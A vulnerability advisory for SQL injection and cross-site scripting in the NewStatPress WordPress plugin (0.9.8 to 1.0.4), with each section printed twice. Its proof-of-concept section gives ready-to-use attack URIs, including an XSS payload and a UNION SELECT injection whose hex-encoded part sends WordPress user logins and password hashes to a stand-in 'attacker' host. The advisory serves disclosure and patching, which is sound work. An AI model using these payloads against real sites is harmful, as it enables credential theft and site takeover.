WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities
BID:75575
Info
WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 75575 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 07 2015 12:00AM |
| Updated: | Jul 07 2015 12:00AM |
| Credit: | g0blin |
| Vulnerable: |
WordPress NewStatPress 0.9.9 WordPress NewStatPress 0.9.8 WordPress NewStatPress 1.0.4 |
| Not Vulnerable: |
WordPress NewStatPress 1.0.6 |
Discussion
WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities
The WordPress NewStatPress plugin for WordPress is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.
Successful exploits could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The WordPress NewStatPress plugin for WordPress is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.
Successful exploits could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities
Attackers can use a browser to exploit the SQL-injection issue. An attacker must trick a victim into following a malicious URI to exploit cross-site scripting issue.
The following example URIs are available:
http://www.example.com/wp-admin/admin.php?groupby1=checked%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29&page=nsp_search&newstatpress_action=search
http://www.example.com/wp-admin/admin.php?where1=ip&what1=0&where2=spider+%3D+0+UNION+SELECT+CONCAT%280x3C696D67207372633D22687474703A2F2F61747461636B65722F3F63726564733D%2C%28select+hex%28group_concat%28concat_ws%28char%2858%29%2Cwp_users.user_login%2Cwp_users.user_pass%29%29%29+from+wp_users+group+by+1%3D1%29%2C0x223e%29--&what2=0&searchsubmit=Search&page=nsp_search&newstatpress_action=search
Attackers can use a browser to exploit the SQL-injection issue. An attacker must trick a victim into following a malicious URI to exploit cross-site scripting issue.
The following example URIs are available:
http://www.example.com/wp-admin/admin.php?groupby1=checked%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29&page=nsp_search&newstatpress_action=search
http://www.example.com/wp-admin/admin.php?where1=ip&what1=0&where2=spider+%3D+0+UNION+SELECT+CONCAT%280x3C696D67207372633D22687474703A2F2F61747461636B65722F3F63726564733D%2C%28select+hex%28group_concat%28concat_ws%28char%2858%29%2Cwp_users.user_login%2Cwp_users.user_pass%29%29%29+from+wp_users+group+by+1%3D1%29%2C0x223e%29--&what2=0&searchsubmit=Search&page=nsp_search&newstatpress_action=search
Solution / Fix
WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
WordPress NewStatPress Plugin SQL Injection and Cross Site Scripting Vulnerabilities
References:
References:
- NewStatPress <= 1.0.4 - Reflected Cross-Site Scripting (XSS) (The WPScan Team)
- WordPress HomePage (WordPress)
- WordPress NewStatPress Plugin - Homepage (WordPress)